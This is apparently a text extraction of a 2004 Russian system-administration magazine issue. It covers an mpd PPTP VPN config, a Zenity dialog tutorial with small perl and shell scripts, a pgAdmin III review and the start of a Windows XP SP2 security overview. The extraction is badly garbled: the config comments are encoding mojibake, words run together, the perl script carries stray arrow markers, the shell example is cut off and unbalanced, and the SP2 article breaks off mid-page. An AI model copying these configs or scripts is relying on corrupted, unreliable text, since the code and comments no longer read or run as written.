Источники дополнительной информации:1. http://sourceforge.net/projects/mpd2. http://www.dellroad.org/mpd/index3. man mpd(8), man netgraph(4), man ng_ppp(4)

#------------------- mpd.conf --------------------------default:# Óêàçûâàåì, êàêóþ êîíôèãóðàöèþ ãðóçèòü (â ïðèíöèïå âñå# ïàðàìåòðû ìîæíî çàäàòü è íåïîñðåäñòâåííî â ñåêöèè default):

load pptp0pptp0:# Îáúÿâëÿåì íîâûé èíòåðôåéñ ng0:

new -i ng0 pptp0 pptp0# Ïîñêîëüêó ìû íèêóäà íå çâîíèì, òî óñòàíàâëèâàòü# ñîåäèíåíèå ïî òðåáîâàíèþ íå íóæíî:

set iface disable on-demand# Ðàçðåøàåì ïðîõîæäåíèå arp-çàïðîñîâ:

set iface enable proxy-arp# Çàïðåùàåì ðàçðûâàòü ñâÿçü ïðè ïðîñòîå:

set iface idle 0# Îãðàíè÷åíèå íà ðàçìåð èñõîäÿùèõ ïàêåòîâ çíà÷åíèåì MTU:

set iface enable tcpmssfix# Óêàçûâàåì, ÷òî íàøå ñîåäèíåíèå � íå ìóëüòèëèíê:

set bundle disable multilink# Òðåáóåì øèôðîâàíèå:

set bundle yes crypt-reqd# Âêëþ÷àåì êîìïðåññèþ:

set bundle enable compressionset link yes acfcomp protocomp

# Ðàçðåøàåì òîëüêî chap-àâòîðèçàöèþ:set link no pap chapset link enable chap

# Èíòåðâàëû ïðîâåðêè ëèíêà íà «æèçíåñïîñîáíîñòü»:set link keep-alive 10 60

# Ðàçìåð «îêíà îòñûëêè»:set link mtu 1460

# Ðàçðåøàåì êîìïðåññèþ TCP-çàãîëîâêà:set ipcp yes vjcomp

# Ñëåäóþùèé ïàðàìåòð çàäàåò äèàïàçîíû IP-àäðåñîâ# íà ñòîðîíå ñåðâåðà è íà ñòîðîíå êëèåíòîâ â âèäå# set ipcp ranges local[/width] remote[/width]#  íàøåì ñëó÷àå ñåðâåðó è êëèåíòó íàçíà÷àåòñÿ ïî îäíîìó# àäðåñó:

set ipcp ranges 197.y.y.73 197.y.y.75# Ñëåäóþùèå ÷åòûðå îïöèè cpp îïðåäåëÿþò ïðîòîêîëû# óïðàâëåíèÿ ñæàòèåì (compression control protocol) �# äëÿ ðàáîòû ñ Windows-êëèåíòàìè. Âêëþ÷àåì ïîääåðæêó ñæàòèÿ# MPPC (Microsoft Point-to-Point Compression):

set ccp yes mppc# Ïîääåðæêà 40-áèòíîãî êîäèðîâàíèÿ:

set ccp yes mpp-e40# Ïîääåðæêà 128-áèòíîãî êîäèðîâàíèÿ:

set ccp yes mpp-e128# Stateless-ðåæèì, óìåíüøàåò âðåìÿ âîññòàíîâëåíèÿ ïðè ñáðîñå# (drop) ïàêåòà:

set ccp yes mpp-stateless# Àäðåñ, íà êîòîðîì VPN-ñåðâåð æäåò ñîåäèíåíèÿ:

set pptp self 10.õ.õ.254# Ðàçðåøàåì âõîäÿùèå ñîåäèíåíèÿ:

set pptp enable incoming# Èíèöèèðîâàòü ñîåäèíåíèå ñî ñòîðîíû mpd íå íóæíî:

set pptp disable originate

#--------------------- mpd.links -----------------------pptp0:

set link type pptp#------------------- mpd.secret ------------------------username "userpassword" *

# /usr/local/etc/rc.d/mpd.sh start

Page 14: 022 Системный Администратор 09 2004

12

администрирование

В данной статье речь пойдёт о том, каким образом можнобез особых усилий сделать графический интерфейс к shell-скриптам.

Если вы хотите сделать взаимодействие ваших про-грамм с пользователем более простым, то эта статья длявас, и не важно, какой язык вы используете, будь то bash,perl, python и т. п.

Итак, Zenity является утилитой отображения диалогов.Программа имеется в составе большинства распостранён-ных дистрибутивов Linux, хотя ее можно скомпилироватьили найти уже в бинарном виде практически для любой *nix-системы.

Взаимодействие с X-сервером производится с помощьюбиблиотеки GTK+.

Рассмотрим функциональные возможности данной про-граммы. Имеется десять видов диалогов.1. Calendar – календарь (date-picker).2. Entry – однострочное текстовое поле ввода.3. Text-info – диалог отображения многострочной тексто-

вой информации, который может применяться и как полеввода. Хотя, по всей видимости, это не является его ос-новным назначением.

4. Error – сообщение об ошибке.5. Info – сообщение общего характера.6. Warning – предупреждение.7. Question – вопросительное сообщение с возможностью

ввода утвердительного или отрицательного ответа.8. File-selection – выбор файла.9. List – список с возможностью выбора и редактирования

его элементов.10. Progress – Progress bar dialog. Отображает статус вы-

полнения текущей операции.

Заставить утилиту делать то, что мы пожелаем, мож-но посредством запуска программы с соответствующимипараметрами. Имя любого из параметров состоит болеечем из одного символа и, следовательно, имеет префикс«--» – «два минуса». При завершении выполнения будутвыведены результирующие данные в stdout или же кодбудет просто возвращён в stderr. Например, чтобы ото-

бразить сообщение об ошибке, достаточно выполнить сле-дующее:

В результате мы увидим сообщение об ошибке:

Все диалоги имеют некоторые свойства, значения кото-рых также определяются параметрами запуска. Общие длявсех диалогов свойства, то есть те, которыми обладают вседиалоги, такие: title, window-icon, width, height. Очевидно, чтоtitle определяет заголовок окна, window-icon – пиктограмму,а width и height – ширину и высоту окна соответственно.

Теперь можно поговорить о каждом из диалогов под-робнее.

Info, question, warning и errorText – выводимое сообщение. Различаются данные диало-ги лишь пиктограммой, находящейся напротив сообщения.Question имеет две кнопки, соответствующие положитель-ному и отрицательному ответу на сообщение.

Calendar! Text – сообщение, выводимое над полем выбора даты.! Day, month и year – день, месяц и год, которые будут

установлены по умолчанию.! Date-format – строка, определяющая формат возвраща-

емой даты. Формат строки эквивалентен формату вы-зова функции strftime.

Попробуем написать простое приложение, запрашива-ющее дату рождения пользователя.

Файл birthdate.pl:

ВЗАИМОДЕЙСТВИЕ SHELL-СКРИПТОВС ПОЛЬЗОВАТЕЛЕМ ПОСРЕДСТВОМ ZENITYВЗАИМОДЕЙСТВИЕ SHELL-СКРИПТОВС ПОЛЬЗОВАТЕЛЕМ ПОСРЕДСТВОМ ZENITY

АНДРЕЙ УВАРОВ

# zenity --error

Page 15: 022 Системный Администратор 09 2004

13№9(22), сентябрь 2004

администрирование

Entry! Text – сообщение, выводимое над полем ввода.! Entry-text – текст, которым автоматически заполняется

поле ввода.! Hide-text – если присутствует, то вводимые символы ото-

бражаются «звёздочками».

В качестве примера попробуем написать простое при-ложение, осуществляющее запуск вводимой команды.

Файл command.sh:

List! Column – заголовок столбца.! Check-list – использование check box для первого стол-

бца.! Radio-list – использование radio buttons для первого стол-

бца.! Separator – разделитель, использующийся при выводе

информации. По умолчанию это символ «|».! Editable – присутствие данного параметра означает, что

пользователь может редактировать элементы списка.

Text-info! File-name – имя файла, содержимое которого будет ото-

бражено.! Editable – использование данного параметра аналогич-

но List.

File-selection! File-name – имя файла, устанавливаемое по умолчанию.! Multiple – возможность выбора сразу нескольких файлов.! Separator – использование данного параметра анало-

гично List.

Progress! Text – сообщение над progress bar.! Percentage – начальное состояние, указываемое в про-

центах.! Auto-close – автоматическое закрытие диалога после до-

стижения 100%.! Pulsate – определяет отображение «пульсирующего»

прогресса.

Кроме того, Zenity имеет ещё несколько менее важныхдополнительных опций.! --gdk-debug=FLAGS – установка флагов отладки Gdk;! --gdk-no-debug=FLAGS – отмена флагов отладки Gdk;! --display=DISPLAY;! --sync – использование синхронных X-вызовов;! --name=NAME – имя программы, используемое оконным

менеджером;! --class=CLASS – класс программы, используемый окон-

ным менеджером;! --gxid-host=HOST;! --gxid-port=PORT;! --gtk-debug=FLAGS – установка флагов отладки Gtk+;! --gtk-no-debug=FLAGS – отмена флагов отладки Gtk+;! --g-fatal-warnings – все предупреждения приводят к за-

вершению выполнения;! --gtk-module=MODULE – загрузить дополнительный мо-

дуль Gtk.

Кроме Zenity, есть ещё такие средства, как xdialog, dialog,kdialog, xmessage. Рассмотрим вкратце некоторые из них.

Dialog – программа, использующая Ncurses для выводадиалогов. Вследствие этого является достаточно универ-сальной, так как не все и не всегда пользуются X-Window.Вот список параметров dialog:! --yesno <text> <height> <width>! --msgbox <text> <height> <width>! --prgbox «<command line>» <height> <width>! --infobox <text> <height> <width>! --inputbox <text> <height> <width> [<init string>]! --textbox <file> <height> <width>! --menu <text> <height> <width> <menu height> <tag1>

<item1>...! --checklist <text> <height> <width> <list height> <tag1>

<item1> <status1>...! --radiolist <text> <height> <width> <list height> <tag1>

<item1> <status1>...! --ftree <file> <FS> <text> <height> <width> <menu height>! --tree <FS> <text> <height> <width> <menu height>

<item1>...

Kdialog поставляется в составе KDE. Имеет сходный ин-терфейс с dialog и xdialog. Но, на мой взгляд, kdialog болееизбыточен и менее функционален, нежели Zenity. Xmessageпредназначается исключительно для вывода сообщений, новнешний вид, думаю, редкого пользователя может порадовать.

Необходимо учесть, что пользователь может и не иметьустановленной Zenity. И не стоит забывать о том, что естьсредства, такие как xdialog, dialog, kdialog, kmessage, и дру-гие. Может быть, в вашем случае они подойдут больше.

#! /usr/local/bin/perldo

print `zenity --info --text "You may not enter real ↵↵↵↵↵birth date" --title=birthday`;

while(!($birthdate = `zenity --calendar ↵↵↵↵↵--date-format=%d.%m.%y`));

`zenity --info --text "Your birth date is $birthdate" ↵↵↵↵↵--title "Your Bitrh Date"`;

#! /bin/sh```zenity --entry --title "Run command" --text "Command:```

Page 16: 022 Системный Администратор 09 2004

14

администрирование

Professional затруднений не вызвала. После традиционно-го вопроса о согласии с условиями лицензионного согла-шения (пакет распространяется бесплатно) и несколькихсекунд инсталляционных процедур программа была гото-ва к работе.

При первом запуске было предложено выбрать предпо-читаемый язык интерфейса. Среди нескольких десятковподдерживаемых языков отыскался и русский.

В предыдущей статье, посвященной СУБД PostgreSQL (см.июльский номер журнала), упоминался графический кли-ент pgAdmin. В этой статье рассмотрим его основные фун-кции и возможности.

Для тестирования с сайта www.pgadmin.org был скачанпакет pgAdmin III версии 1.0.2 для Windows 2000/XP (в видеmsi-архива). Размер дистрибутива составляет менее 5,5 Мб.Установка пакета на операционную систему Windows XP

PostgreSQL:ГРАФИЧЕСКИЙ КЛИЕНТ pgAdmin

PostgreSQL:ГРАФИЧЕСКИЙ КЛИЕНТ pgAdmin

СЕРГЕЙ СУПРУНОВ

Page 17: 022 Системный Администратор 09 2004

15№9(22), сентябрь 2004

администрирование

Открывшееся далее главное окно (рис. 1) своими очер-таниями вызвало в памяти образ входящего в состав СУБДOracle клиента PL/SQL Developer. Правда, некоторый аске-тизм панели инструментов навевал мысль, что в функцио-нальном плане различия будут более заметны, и никак не впользу pgAdmin.

СУБД PostgreSQL версии 7.4.1 у меня была запущенана другой машине (под управлением FreeBSD), что и былоуказано при добавлении сервера (рис. 2). Поясню отсут-ствие пароля: моя рабочая машина прописана в файлеpg_hba.conf (файл настройки доступа PostgreSQL) как до-веренный хост, что позволяет соединяться с сервером БД,как мне заблагорассудится. Своя рука – владыка. Есте-ственно, на рабочем сервере такая халатность не привет-ствуется.

Ðèñóíîê 3

Ðèñóíîê 1 Ðèñóíîê 2

Page 18: 022 Системный Администратор 09 2004

16

администрирование

Теперь слева будет дерево баз данных, справа отобра-жается информация по выделенному объекту и ниже – SQL-команда, с помощью которой выделенный объект мог бытьсоздан (рис. 3).

Для общего представления создадим новую таблицу.Для чего давим правую кнопку мыши над веткой «Табли-цы», выбираем «Новый объект» – «Новая таблица» и начи-наем вводить ее свойства (рис. 4).

Далее, на вкладке «Колонки» собираем (другое опре-деление к этому процессу подобрать трудно) структуру таб-лицы, последовательно добавляя поля (рис. 5). Для каждо-го поля должно быть задано имя и тип данных. Дополни-тельно можно указать значение по умолчанию и/или отме-тить поле как «NOT NULL», запретив тем самым оставлятьего без определенного значения.

На следующей вкладке можно задать ограничения (пер-вичный и вторичный ключи, UNIQUE и CHECK).

Вкладка «Безопасность» позволяет раздать другимпользователям права доступа к создаваемой таблице.

Последняя закладка – «SQL» – позволяет посмотреть,каким SQL-запросом все это будет создано.

Огорчила невозможность исправить ошибку на стадиисоздания таблицы. Например, если вы неправильно задалитип данных для поля, то исправить это можно, только удаливполе и создав новое. В дальнейшем, если вернуться к свой-ствам уже созданной таблицы, кнопка «Изменить» присут-ствует, а вот во время создания новой – нет… А для ограни-чений нет даже этого – только удалять и создавать заново.

Еще один недостаток – об ошибке узнаешь только припопытке сохранить сделанные изменения.

Как уже было вскользь замечено, существующие таб-лицы можно изменять. Да и было бы странно, если бы та-кая возможность отсутствовала. Интерфейс тот же самый(за исключением упомянутой выше кнопки «Изменить»). Навкладке «SQL» будет формироваться код, который необхо-димо выполнить для осуществления желаемых изменений.

Код формируется, как и следовало ожидать, довольнопросто, без «хитринки». Например, если дать указание присоздании таблицы задать владельца, то в код будет простодобавлена команда «ALTER TABLE … OWNER …» после того,как таблица будет создана командой «CREATE TABLE …».Хотя по-хорошему это можно сделать одной командой.

Для работы с наполнением таблиц служит инструмент«Просмотр данных» (рис. 6). Выполненный в стиле «старогодоброго» MS Access, он позволяет просматривать содержи-мое таблицы, добавлять новые строки, изменять и удалятьсуществующие. Причем изменение данных возможно толь-ко в случае, если таблица создана с установленным флагом«Имеет OID». Как ни странно это выглядит, но в обоих слу-чаях инструмент называется именно «Просмотр данных» (ванглоязычном варианте «View Data»), несмотря на возмож-ность редактирования, хотя заголовок окна гласит «pgAdminIII Edit data», и тоже в обоих случаях. Таким образом, этотнедочет, допущенный при проектировании интерфейса, спо-

Ðèñóíîê 4

Ðèñóíîê 5

Ðèñóíîê 6

Page 19: 022 Системный Администратор 09 2004

17№9(22), сентябрь 2004

администрирование

собен ввести в заблуждение, и сразу отыскать возможностьработы с данными таблиц довольно трудно.

Более широкие возможности по работе с запросамипредоставляет «Инструмент запросов» (рис. 7). Тут уже естькуда ввести любой SQL-запрос и посмотреть его резуль-тат. Закладка «Сообщения» внизу окна позволяет ознако-миться с такой информацией, как количество выбранныхзапросом записей и время выполнения запроса. Весьмаполезная функция – «Объяснить запрос» (рис. 8), выводя-щая последовательность действий, которые будет выпол-нять PostgreSQL, обрабатывая данный запрос, с расчетом

времени, затрачиваемого на каждую операцию – незаме-нимый инструмент для оптимизации запросов. В пунктеменю «Запрос» – «Опции режима объяснения» можно вклю-чить и подробный разбор каждого запроса.

Функция обслуживания БД позволяет выполнить деф-рагментацию и анализ структуры базы данных либо отдель-ных таблиц. Регулярная дефрагментация нужна для повы-шения скорости доступа к данным, а анализ поставляетслужебную информацию оптимизатору СУБД, на основа-нии которой последний способен обрабатывать запросы бо-лее эффективно.

Ðèñóíîê 9

Ðèñóíîê 7

Ðèñóíîê 8

Page 20: 022 Системный Администратор 09 2004

18

администрирование

Ну и наконец, в окне «Опции» вы можете произвестинекоторые настройки интерфейса, такие как выбор языкаи шрифта, по своему вкусу, а также настроить log-файл.

Включение опции «Показать» – «Системные объекты»приведет к отображению баз template0 и template1, а также вкаждой пользовательской БД, помимо схемы public, храня-щей пользовательские данные, будут видны и служебныесхемы: information schema, pg_catalog, pg_temp_1, pg_toast(рис. 9). Естественно, что для работы с системными объек-тами нужно обладать соответствующими правами.

Трудно сказать, недостаток это или особенность реали-зации, но pgAdmin жестко привязывает имя пользователя кконкретному серверу. То есть при необходимости подсое-диниться к БД с другими правами приходится создаватьнесколько «серверов», указывающих на одну СУБД, но сразными пользователями (рис. 10). Хотя в этом есть и оп-ределенные преимущества, т.к. можно поддерживать од-новременно несколько подключений с различными права-ми. К слову, посмотреть все подключения к СУБД можно,выбрав «Сервис» – «Состояние сервера».

В заключение заметим, что в клиенте доступен файлпомощи. Правда, он на английском языке, но тем не менее

Ðèñóíîê 10

достаточно подробно, просто и с обилием иллюстрацийописывает работу с клиентом, его настройку, а также со-держит подробную справку по PostgreSQL 7.4. Показалосьнесколько неудобным, что развернутое окно помощи все-гда находится поверх рабочего окна, закрывая часть дан-ных. Хотя всегда можно открыть справку отдельно (соот-ветствующий пункт присутствует в группе «pgAdmin III»меню «Пуск»), и тогда ничто не будет мешать переключатьсямежду окнами любимой комбинацией «Alt-Tab».

Итак, мои общие впечатления – клиент добротный, несчитая мелких недостатков; поддерживает практически всефункции разработки и администрирования. Широкие воз-можности по анализу запросов, наглядное представлениеструктуры БД и ее составляющих, интуитивно понятный,не обремененный ничем лишним, да еще и русскоязычныйинтерфейс делают pgAdmin удобным инструментом дляработы с базами PostgreSQL, особенно для начинающих.Помимо версии для Windows, есть пакеты для Linux (Debian,RPM, Slackware packages), для FreeBSD. При желании па-кет может быть собран и из исходных текстов.

Дополнительную информацию (в том числе и на русскомязыке) можно получить на сайте проекта.

Page 21: 022 Системный Администратор 09 2004
Page 22: 022 Системный Администратор 09 2004

20

администрирование

Наконец-таки случилось – самый популярный продукт про-шлого и как минимум нескольких последующих месяцев,имеющий непосредственное отношение к безопасности –Windows XP Service Pack 2 – пакет обновлений, выпуск ко-торого несколько раз переносили и откладывали, был пре-дан достоянию компьютерной общественности. Произош-ло это событие достаточно тихо (прямых ссылок в первыедни не было). 9 августа на сайте загрузки корпорацииMicrosoft, в разделе для IT-специалистов появился файлWindowsXP-KB835935-SP2-ENU.exe – английская версияService Pack2, общим размером чуть меньше 300 Мб.

Естественно, многие тут же принялись его скачивать,устанавливать и тут же наткнулись на проблемы… Однакообо всем по порядку.

А что, собственно, нового?В те времена, когда SP2 ждали, многие говорили: «А зачемон мне? Все обновления у меня есть, а эти тупые картинкидля начинающих пользователей мне и не нужны». Действи-тельно, у многих знакомых мне людей, в том числе и адми-нистраторов, Service Pack 2 прежде всего ассоциируется с«Центром безопасности», брандмауэром «Windows Firewall»и наличием всех критических заплаток для Windows XP.Однако даже поверхностное изучение соответствующейдокументации от Microsoft показало, что на самом деле всекак минимум немного не так. SP2 больше, чем просто па-

кет критических обновлений. Он включает в себя массу раз-личных обновлений широкого характера, затрагивающихпрактически все компоненты операционной системыWindows XP. Дабы не быть голословным, приведу доста-точно полный список изменений, вносимых в систему па-кетом обновлений SP2.

Исправления для Windows XPВ состав SP2 входят все обновления SP1, все критическиеобновления, вышедшие после SP1, а также исправления,касающиеся работы различных компонент ОС Windows XP.Полный список исправлений (а их более 800) можно найти поадресу: http://support.microsoft.com/default.aspx?kbid=811113.

Брандмауэр Windows FirewallПо мнению MS, это одно из самых значительных нововве-дений SP2. Фактически он является улучшенной версиейInternet Connection Firewall (ICF), доступного в Windows XP.Теперь у него есть собственный графический интерфейсконфигурирования, поддерживается задание глобальныхнастроек для всех соединений, списков исключений (как дляIP-адресов, так и для приложений), различные режимы ра-боты (в домене и за его пределами, со списком исключе-ния и без), а также работа в сетях IPv6. Кроме того, WindowsFirewall тесно интегрирован с ОС Windows – запускается наранней стадии загрузки ОС, до завершения инициализа-

МИХАИЛ ПЛАТОВ

WINDOWS XP SERVICE PACK 2ГЛАЗАМИ СИСТЕМНОГО АДМИНИСТРАТОРАWINDOWS XP SERVICE PACK 2ГЛАЗАМИ СИСТЕМНОГО АДМИНИСТРАТОРА

Page 23: 022 Системный Администратор 09 2004

21№9(22), сентябрь 2004

администрирование

ции стека TCP/IP и выключается на одной из последнихстадий завершения работы системы, что должно обеспе-чить безопасность не только во время работы компьютера,но и во время его включения и выключения.

После установки SP2 Windows Firewall будет включен,практически вся сетевая активность будет запрещена. Так,при попытке обращения к сети какого-либо приложенияпоявится всплывающее окно:

в котором можно выбрать действие, которое firewall будетиспользовать для этой программы. Кроме того, помимо«ручной» настройки брандмауэра непосредственно в про-цессе интерактивной работы за компьютером, админист-раторам также предоставляются возможности настройкичерез групповые политики.

Центр обеспечения безопасности WindowsСлужба, представляющая собой центральное место обес-печения безопасности для пользователя. Microsoft (кстати,и не только она) считает, что многие нашумевшие пробле-мы безопасности последнего времени могли бы и не воз-никнуть, если бы большая часть пользователей следовалатрем простым правилам: иметь регулярно обновляемый ан-тивирус, брандмауэр, устанавливать критические обновле-ния для ОС. Так вот, «Центр безопасности» как раз и зани-мается тем, что в фоновом режиме проверяет состояниекаждой из этих трех служб.

И если какой-либо из компонентов отсутствует или неработает, то центр безопасности выводит в системном треесоответствующее предупреждение:

На данный момент «Центр безопасности» не признаетбрандмауэры и антивирусы третьих фирм. В скором вре-мени, как только производители выпустят соответствующиеобновления, ситуация, скорее всего, изменится, а пока ад-министраторы могут временно отключить соответствующиенапоминания, используя апплет «Центр безопасности», на-ходящийся в панели управления Windows.

Обновления безопасности RPCСлужба удаленного вызова процедур (RPC) всегда быланеотъемлемой частью ОС семейства Windows NT. RPC не-явно используется при удаленном администрировании че-рез mmc (Microsoft Management Console), а также при рабо-те с общими файлами и принтерами. Стандартная установ-ка Windows XP содержит более 60 (!) сервисов RPC. Да чегоуж тут говорить, самые известные черви последнего вре-мени (blaster, sasser) проникали на компьютеры, используяименно уязвимости в RPC/DCOM! Так вот в SP2 Microsoftпопыталась поставить вирусописателям очередную прегра-ду (эффективную или нет, покажет время). Теперь при ра-боте с программами по RPC пользователь должен пройтиобязательную аутентификацию (режим по умолчанию). Кро-ме того, Microsoft добавила дополнительные возможностидля настройки безопасности RPC, используя которые мож-но определить, какие из сервисов RPC должны быть дос-тупны для локальной сети, какие для внешней, а какие во-обще должны быть отключены. помимо этого, некоторыеизменения относительно обработки RPC-трафика были так-же внесены в Windows Firewall.

Обновления безопасности DCOMИ эта модель с несколько подмоченной в плане безопасно-сти репутацией подверглась некоторым изменениям. Пос-ле установки SP2 только аутентифицированные пользова-тели смогут удаленно вызывать DCOM-объекты. Крометого, SP2 добавляет новые уровни безопасности доступа кCOM-объектам (локальный вызов, удаленный вызов, локаль-ная активация, удаленная активация), с помощью которыхможно просто и быстро настроить необходимый доступ какдля локальных, так и для удаленных пользователей.

Предотвращение выполнения данных(Data Execution Protection)В ОС добавляется поддержка аппаратно-реализуемой в про-цессорах технологии NX (No Execute). Данная технологияпозволяет ставить «запрет на исполнение» для страниц, со-держащих данные. Таким образом, если злоумышленникпопытается использовать атаку переполнения буфера, до-писав к данным свой исполняемый код, ОС и процессор, под-

Ðèñóíîê 1

Ðèñóíîê 2

Ðèñóíîê 3

Page 24: 022 Системный Администратор 09 2004

22

администрирование

держивающие данную технологию (на данный момент этоAMD K8 и Intel Itanium на ядре Nocona), не позволят этомукоду выполниться. Считается, что если бы эта технологияподдерживалась компьютерами уже год назад, мир не уз-нал бы эпидемии MS Blaster и других червей, использующихпри своем распространении ошибки переполнения буфера.Специалисты полагают, что поддержка данной технологииспособна нанести ощутимый удар по вирусам и червям.

Обновленные модули системыДля улучшения безопасности уже существующих и широкораспространенных 32-битных процессоров все файлы опе-рационной системы были перекомпилированы с опциейпрограммной проверки переполнений стека и кучи. Теперь,если во время выполнения программы будет обнаруженапопытка переполнения стека или кучи, то будет вызванопрограммное исключение.

Установщик Windows Installer 3.0Отличительными особенностями являются: поддержка тех-нологии Delta Patching (минимизирует размер обновлений),расширенные возможности определения того, какие ком-поненты нужно обновлять, а какие нет, а также возможностьудаления установленных обновлений.

Новый клиент автоматического обновленияСудя по названию (SUS20ClientDataStore), данный клиент,скорее всего, будет поддерживать работу с анонсирован-ным на первую половину 2005 года WUS (Windows UpdateServices), ранее известного как SUS 2.0 (Software UpdateServices). WUS будет поддерживать установку не толькокритических обновлений ОС Windows, но и других продук-товот Microsoft (Office, SQL Server и др.).

Улучшения безопасности Internet ExplorerБраузер от Microsoft тоже обзавелся дополнительной фун-кциональностью. Так, теперь в его состав входят менеджерподключаемых модулей, система отслеживания ошибок иблокиратор всплывающих окон. Как видно из названия, спомощью первого компонента можно просмотреть списоквсех расширений для IE (даже те, которые он раньше непоказывал), а также определить, какие из них будут запус-каться. Главным назначением второго компонента являет-ся отслеживание ошибок при запуске IE и автоматическоеотключение расширений, вызвавших эти ошибки. Крометого, в новом обозревателе несколько переработан меха-низм обработки зон безопасности и процедуры установкии запуска ActiveX компонентов.

Улучшения Outlook Express и Windows MessengerСамым значительным изменением в этой области являет-ся реализованная в SP2 технология Attachment ExecutionService (AES) – технология управления вложениями. Теперь,при обработке письма с вложениями, на основе расшире-ния файла, его фактического содержимого, а также настро-ек зон безопасности, AES будет принимать решение о том,блокировать доступ к вложению или нет. Тем самым ста-вится дополнительная преграда для вирусов, пытающихсяпроникнуть в компьютер посредством электронной почты.

Поддержка соединений типа точка-точка(Windows Peer-to-Peer)Децентрализованные сети позволяют более полно исполь-зовать возможности (вычислительные, хранение данныхи т. д.) современных компьютеров за счет предоставлениядоступа к ним для других участников сети. Так, на базе де-централизованных P2P-сетей можно организовывать обменаудио- и видеофайлами, передачу сообщений, групповыеигры и т. д. Динамически формируемые P2P-сети такжеявляются перспективным решением в совокупности с бес-проводными сетями 802.11. После установки Service Pack2 Windows XP будет поддерживать работу в режиме точка-точка с использованием компонента Windows Peer-to-PeerNetworking. Правда, этот компонент отключен в стандарт-ной конфигурации, и для того, чтобы его установить, при-дется воспользоваться мастером «Установки компонентовWindows» (компонент Peer-to-Peer).

Улучшения в работес беспроводными устройствамиДобавлена поддержка Bluetooth-устройств. Поддерживают-ся IP-соединения, работа с Bluetooth-принтерами и HID-ус-тройствами, использование Bluetooth сотовых телефоновв качестве модемов, обмен файлами с Bluetooth-устройства-ми и виртуальные COM-порты.

Значительным модификациям подверглась поддерж-ка беспроводных сетей. Помимо нового мастера настрой-ки, а также повышения уровня безопасности домашнихсетей 802.11, Service Pack 2 для Windows XP включает всебя клиентскую часть нового серверного сетевого ком-понента – Wireless Provisioning Service (службы организа-ции беспроводного доступа). WPS от Microsoft – решениепроблемы организации беспроводного доступа в публич-ных местах. С помощью этой технологии провайдеры бес-проводного доступа (кафе, аэропорты), интернет-провай-деры и крупные корпорации смогут легко и просто предо-ставить беспроводной доступ в Интернет (или к внутрен-ней корпоративной сети) своим клиентам или сотрудни-кам. WPS поддерживает аутентификацию (PEAP,WPA), сер-вер RADUIS от Microsoft (IAS) и другие технологии Windows,что, собственно, и делает удобным использование этогокомпонента в сетях, построенных с использованием техно-логий Microsoft. Серверная часть WPS будет доступна вWindows 2003 Service Pack 1.

Изменения DireсtX и Windows MediaЗдесь все достаточно просто и банально. В состав WindowsXP SP2 входят проигрыватель Windows Media Player 9 иDirectX 9.0c

Поддержка новых языковых настроекПосле установки SP2 в системе появляется поддержка бо-лее 20 новых региональных настроек. Теперь и без тоговнушительный список пополнился настройками для Хорва-тии, Сербии, Уэльса, Швеции, Финляндии, Норвегии и не-скольких стран Южной Африки и Латинской Америки.

Как видите, список нововведений достаточно внушите-лен. Пакет обновлений затрагивает значительную частьсистемных компонент ОС, поэтому неудивительно, что воз-

Page 25: 022 Системный Администратор 09 2004

23№9(22), сентябрь 2004

администрирование

можны случаи, в которых после установки SP2 некоторыеприложения перестанут работать, однако совершенно оче-видно, что рано или поздно всем нам придется обновитьсядо уровня SP2, так что постараемся уменьшить негатив-ные влияния этого процесса. Для этого попробуем простопоследовать рекомендациям самой Microsoft. Итак.

Варианты установки Service Pack 2Для установки Service Pack 2 домашними пользователямиMicrosoft рекомендует использовать узел Windows Update.Сначала с сайта обновлений скачивается экспресс-установ-щик, который затем загружает и устанавливает только тефайлы, которые нужно обновить на данном компьютере.

Несколько иначе обстоит ситуация с пользователямикорпоративными. Для них у софтверного гиганта есть мас-са рекомендаций и инструкций относительно того, как нуж-но устанавливать Service Pack 2. Согласно этим рекомен-дациям процесс установки должен быть тщательно спла-нирован и документирован (график и список работ, распре-деление обязанностей, тесты, отчеты и т. д.). Так, на одномиз этапов предлагается создать тестовую лабораторию ипроверить в ней работоспособность системы с установлен-ным SP2. Не будем более подробно останавливаться на всехтонкостях, предлагаемых MS (благо для этого уже есть ме-габайты соответствующей документации) и перейдем кпрактической части – установке SP2. Для корпоративныхпользователей предусмотрено 3 варианта установки1:! Software Update Services (SUS) – свободно распростра-

няемая платформа от Microsoft для установки критичес-ких обновлений.

! Systems Management Server (SMS) – коммерческая сис-тема от Microsoft для полного контроля над Windows-машинами, в том числе и установки обновлений и про-грамм.

! Group Policy (GP) – стандартный компонент доменовActive Directory, также позволяющий установку ПО.

Прежде чем мы рассмотрим более подробно первый итретий способы (как наиболее часто используемые), не-сколько слов о системных требованиях для компьютеров сService Pack 2. А они таковы:! 128 Мб ОЗУ или больше (для XP без SP было 64Мб);! 500 Мб для пакета обновления;! 260 Мб для создания временных файлов;! 350 Мб для хранения файлов отката SP2;! 30 Мб на загрузочном разделе (Ntldr, Boot.ini и

Ntdetect.com).

Таким образом, Microsoft не отрицает, что система ста-новится более требовательной к объему установленногоОЗУ, и не только к нему, так что неудивительно, если пос-ле установки пакета обновлений компьютер будет работатьболее медленно2.

Установка через групповые политикиДля установки пакета обновлений используются возмож-ности установки ПО в доменах Active Directory (технологияIntelliMirror). Для того чтобы воспользоваться этим методом,не нужно ничего, кроме Active Directory, поэтому большин-ство организаций, особенно тех организаций, у которых нетсуществующей инфраструктуры SUS или SMS, скорее все-го, будут использовать именно его.

Как известно, при установке ПО с использованием груп-повых политик, применяются файл-серверы. Именно на нихразмещаются устанавливаемые программы. Поэтому приустановке SP2 необходимо убедиться в том, что на всех ис-пользуемых файл-серверах есть необходимое дисковое про-странство для хранения распакованного SP2. Кроме того,так как в процессе установки файлы загружаются на клиен-тский компьютер, необходимо, чтобы все клиенты имели на-дежное и быстрое сетевое соединение со своими файл-сер-верами. Так, в случае крупной организации при установкеService Pack 2 может использоваться следующая схема:

Как известно, при помощи групповых политик можно ус-танавливать только программы, распространяемые в виде.msi-файлов. Для Service Pack2 тaкой файл называетсяupdate.msi (расположен в папке %SP_DIR%/i386/update/ рас-пакованного Service Pack2). Для того чтобы распаковать

1 Во всех трех способах предполагается, что администратор сначала загружает пакет обновления с сайта Microsoft, азатем устанавливает его на все необходимые компьютеры, используя наиболее приемлемый для него метод.

2 После установки SP2 можно освободить 350 Мб свободного места, удалив файлы отката SP2 (находится в %WINDIR%\$NtServicePackUninstall$). Однако после этого удалить SP2 будет невозможно. Во время установки настоятельно ре-комендуется отключить антивирусные программы.

Ðèñóíîê 4

Page 26: 022 Системный Администратор 09 2004

24

администрирование

